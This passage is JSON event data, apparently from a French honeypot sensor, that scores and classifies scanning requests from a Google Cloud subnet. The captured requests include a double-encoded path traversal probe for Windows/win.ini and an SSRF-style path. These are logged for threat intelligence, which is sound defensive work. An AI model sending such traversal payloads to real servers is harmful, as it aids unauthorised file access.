\u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 57\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 64, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 84.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 57, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 57, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 9000, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022CRS-920350\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022CRS-920350\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/%5cgoogle.com\/4af206ebd4.html\u0022, \u0022request_line\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 9000, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:9000 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/%5cgoogle.com\/4af206ebd4.html\u0022, \u0022evidence_snippet\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9000\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozi\u0022, \u0022target_port_label\u0022: \u00229000 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 64 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00229000\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:9000","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":9,"bytes_in":245},{"id":14622946,"ip":"34.19.116.51","ts":"2026-07-31 15:08:22.000000","proto":"tcp","src_port":36864,"dst_port":84,"service":"http","classification":"ssrf_internal","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022d102931234a1e862c21d5ee85c643d79144cbdd9\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 214, \u0022payload_entropy\u0022: 5.399375425233744, \u0022port_category\u0022: \u0022well_known\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 84, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 80.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 25.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 4.6, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 25.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 54, \u0022tag_count\u0022: 3, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022a6c91d04e9df230ea543aec7cc39bc9556689ada\u0022, \u0022event_fingerprint\u0022: \u00224a5b296d98a06ba8c427b3e907854ab74a0f3130\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022confidence\u0022: 0.64, \u0022classification_confidence\u0022: 0.64, \u0022precision_score\u0022: 64, \u0022precision_signals\u0022: [\u0022CRS-920350\u0022], \u0022kb_rule_ids\u0022: [\u0022CRS-920350\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 25.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 54, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022ssrf_attack\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 54.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022d3a99f9240f8087067b93903c112dd49\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 84, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 54}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002274dbc26400fb133d3fb568a309252f6e4158b9f5\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 84, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O\u0022, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:84 \u00b7 (tentative d\u0027exploit)\u0022, \u0022target_port_label\u0022: \u002284 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 64, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 25.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 54, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 54, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 84, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022CRS-920350\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022CRS-920350\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 84, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:84 \u00b7 (tentative d\u0027exploit)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:84\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac O\u0022, \u0022target_port_label\u0022: \u002284 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002284\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:84","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","anomalies":"[]","severity":8,"bytes_in":214},{"id":14482705,"ip":"34.19.116.51","ts":"2026-07-30 18:56:19.000000","proto":"tcp","src_port":45057,"dst_port":9207,"service":"http","classification":"lfi_path_traversal","waf_score":35,"waf_tags":"[\u0022950260:lfi-0\u0022, \u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 10, \u0022http_path_ext\u0022: \u0022ini\u0022, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022b6b0702a8fb6144179643638329a55a1879f5d46\u0022, \u0022http_target_hash\u0022: \u0022b32cff996f138fc51ce84f8a9a846c903d796431\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 344, \u0022payload_entropy\u0022: 5.164348526590411, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 9207, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 78.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.0, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 67, \u0022tag_count\u0022: 10, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022d66364ef3e534b7e2a132451a7ff7976781b1c6f\u0022, \u0022event_fingerprint\u0022: \u002252578e31a25a26ecf6f690c71423c0bcad7a963c\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 329, \u0022precision_signals\u0022: [\u0022INT-http_lfi\u0022, \u0022pat-0715\u0022, \u0022CRS-930100-sub\u0022, \u0022INT-upstream\u0022, \u0022INT-waf-score\u0022], \u0022kb_rule_ids\u0022: [\u0022INT-http_lfi\u0022, \u0022pat-0715\u0022, \u0022CRS-930100-sub\u0022, \u0022INT-upstream\u0022, \u0022INT-waf-score\u0022], \u0022matched_patterns\u0022: [\u0022pat-0715\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 930150 boot ini\u0022], \u0022pattern_ids\u0022: [\u0022pat-0715\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 67, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022path_traversal\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u002235eaf1bd4a17455614bb1c5500493d5a\u0022, \u0022path_pattern_hash\u0022: \u0022584e17b7bcc67c2f535291a0253964b1\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 9207, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 67}, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950260:lfi-0\u0022, \u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022lfi-0\u0022, \u0022lfi-1\u0022, \u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1\u0022, \u0022payload_snippet\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950260:lfi-0\u0022, \u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022lfi-0\u0022, \u0022lfi-1\u0022, \u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1\u0022, 